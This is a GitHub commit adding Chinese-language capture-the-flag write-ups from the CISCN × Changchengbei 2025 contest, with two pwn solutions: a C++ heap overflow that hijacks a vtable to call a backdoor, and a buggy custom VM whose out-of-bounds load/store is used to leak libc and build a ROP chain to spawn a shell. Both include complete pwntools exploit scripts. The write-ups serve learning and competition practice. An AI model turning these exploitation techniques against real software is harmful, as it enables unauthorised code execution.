Skip to content

Commit d3279d0

Browse files
committed
add ciscnxccb2025
1 parent 9b25d34 commit d3279d0

File tree

8 files changed

+178
-0
lines changed

8 files changed

+178
-0
lines changed

ciscnxccb2025/README.md

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
# 国赛 暨 长城杯 2025
2+
3+
## 初赛
4+
5+
在0RAYS队伍中参赛,最终在浙江赛区位列98名。
6+
7+
1. [anote](anote.md)
8+
2. [avm](avm.md)
9+
3. Anyip(赛后复现)(TODO)
10+
4. novel1
11+
5. server
12+
13+
## 半决赛
14+
15+
我们队上半场awdp排名22,下半场渗透排名12,最终排名14,成功进军长城杯和国赛的决赛。
16+
17+
[半决赛博客](https://rocketma.dev/2025/03/19/semifinal/)

ciscnxccb2025/anote.md

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
# anote
2+
3+
## 文件属性
4+
5+
|属性 ||
6+
|------|------|
7+
|Arch |i386 |
8+
|RELRO|Partial|
9+
|Canary|on |
10+
|NX |on |
11+
|PIE |off |
12+
|strip |yes |
13+
14+
## 解题思路
15+
16+
32位菜单题,`add`不能输入内容,`edit`时可以溢出写(`0x28 > 0x1c`),`show`会泄露堆地址。
17+
由于是C++题,申请的堆块开头存在一个虚表,在edit完成时调用,可以通过溢出写覆盖虚表。
18+
通过`show`泄露堆地址后,可以在堆上写一个虚表,并在其中写上程序中的后门地址,然后调用`edit`即可拿shell。
19+
20+
<img src="assets/noteheap.png" width="80%">
21+
22+
<img src="assets/telenote.png" width="80%">
23+
24+
## EXPLOIT
25+
26+
```python
27+
from pwn import *
28+
context.terminal = ['tmux','splitw','-h']
29+
GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m'
30+
EXE = './anote'
31+
32+
def payload(lo: int):
33+
global sh
34+
if lo:
35+
sh = process(EXE)
36+
if lo & 2:
37+
gdb.attach(sh)
38+
else:
39+
sh = remote('101.200.198.105', 22673)
40+
41+
def add():
42+
sh.sendlineafter(b'ice>>', b'1')
43+
44+
def show(idx: int) -> int:
45+
sh.sendlineafter(b'ice>>', b'2')
46+
sh.sendlineafter(b'index', str(idx).encode())
47+
sh.recvuntil(b'gift: ')
48+
return int(sh.recvline(), 16)
49+
50+
def edit(idx: int, size: int, buf: bytes):
51+
sh.sendlineafter(b'ice>>', b'3')
52+
sh.sendlineafter(b'index', str(idx).encode())
53+
sh.sendlineafter(b'len', str(size).encode())
54+
sh.sendlineafter(b'content', buf)
55+
56+
add()
57+
add()
58+
heap = show(0)
59+
backdoor = 0x80489ce
60+
success(GOLD_TEXT(f"Leak heap: {heap:#x}"))
61+
edit(0, 0x1c, p32(backdoor) + b'0'*0x10 + p32(0x21) + p32(heap + 8))
62+
edit(1, 0, b'x')
63+
64+
sh.clean()
65+
sh.interactive()
66+
sh.close()
67+
```
68+
69+
![](assets/anoteFLAG.png)

ciscnxccb2025/assets/anoteFLAG.png

64.8 KB
Loading

ciscnxccb2025/assets/avmFLAG.png

61.2 KB
Loading

ciscnxccb2025/assets/errorcode.png

34.2 KB
Loading

ciscnxccb2025/assets/noteheap.png

68.2 KB
Loading

ciscnxccb2025/assets/telenote.png

91.9 KB
Loading

ciscnxccb2025/avm.md

Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
# avm
2+
3+
## 文件属性
4+
5+
|属性 ||
6+
|------|------|
7+
|Arch |amd64 |
8+
|RELRO |Full |
9+
|Canary|on |
10+
|NX |on |
11+
|PIE |on |
12+
|strip |yes |
13+
|libc |2.35-0ubuntu3.8|
14+
15+
## 解题思路
16+
17+
程序构造了一个类似于mips的vm,在bss上放着vm的结构,包含32个64位寄存器,text地址,
18+
pc和text终结地址。每一条指令都占4字节,布局为5位的dest寄存器,5位的from寄存器,
19+
12位的offset和4位的opcode。opcode共映射到10个函数,其中的`f9``f10`对偏移的判断存在逻辑错误:
20+
由于使用`byte`(`unsigned char`)强制转换,导致该式永远成立,因此可以实现越界store和load。
21+
22+
![](assets/errorcode.png)
23+
24+
`main`的返回地址`__libc_start_main`获取libc,从`main`的rbp获取1(程序不支持imm),
25+
然后构造出`pop rdi``/bin/sh``system`的地址并覆写vm函数的返回地址,实现rop拿shell。
26+
27+
## EXPLOIT
28+
29+
```python
30+
from pwn import *
31+
context.terminal = ['tmux','splitw','-h']
32+
GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m'
33+
EXE = './avm'
34+
35+
ADD = 1
36+
SUB = 2
37+
MUL = 3
38+
DIV = 4
39+
XOR = 5
40+
AND = 6
41+
LSHIFT = 7
42+
RSHIFT = 8
43+
STORE = 9
44+
LOAD = 10
45+
46+
def payload(lo: int):
47+
global sh
48+
if lo:
49+
sh = process(EXE)
50+
if lo & 2:
51+
gdb.attach(sh, 'b *$rebase(0x1afc)\nb *$rebase(0x1aaf)\n')
52+
else:
53+
sh = remote('39.105.102.220', 26719)
54+
libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
55+
56+
# 0x29d90 -> leak; 0x2a3e5 -> pop rdi; 0x1d8678 -> /bin/sh; 0x50d70 -> system
57+
leak = 0x29d90
58+
def assemble(buf: bytearray, op: int, dst: int, reg1: int, reg2: int):
59+
buf.extend(p32((op << 28) + (reg2 << 16) + (reg1 << 5) + dst))
60+
61+
def construct(buf: bytearray, dst: int, num: int):
62+
stack = []
63+
while num:
64+
stack.append(num & 1)
65+
num >>= 1
66+
while stack: # 10110 -> 0 1 1 0 1 -> 10110
67+
if stack.pop(): # 1
68+
assemble(buf, ADD, dst, dst, 1)
69+
if len(stack) > 0:
70+
assemble(buf, LSHIFT, dst, dst, 1)
71+
assemble(buf, ADD, dst, dst, 2)
72+
73+
ops = bytearray()
74+
assemble(ops, LOAD, 2, 0, 0xd38) # r2 = leak
75+
assemble(ops, LOAD, 1, 0, 0xd30) # r1 = 1
76+
construct(ops, 3, 0x2a3e5 - leak) # r3 = pop rdi
77+
construct(ops, 4, 0x1d8678 - leak) # r4 = /bin/sh
78+
construct(ops, 5, 0x50d70 - leak) # r5 = system
79+
construct(ops, 6, 0x2a3e6 - leak) # r6 = ret
80+
assemble(ops, STORE, 3, 0, 0x118)
81+
assemble(ops, STORE, 4, 0, 0x120)
82+
assemble(ops, STORE, 6, 0, 0x128)
83+
assemble(ops, STORE, 5, 0, 0x130)
84+
85+
sh.sendafter(b'opcode', bytes(ops))
86+
87+
sh.clean()
88+
sh.interactive()
89+
sh.close()
90+
```
91+
92+
![](assets/avmFLAG.png)

0 commit comments

Comments
 (0)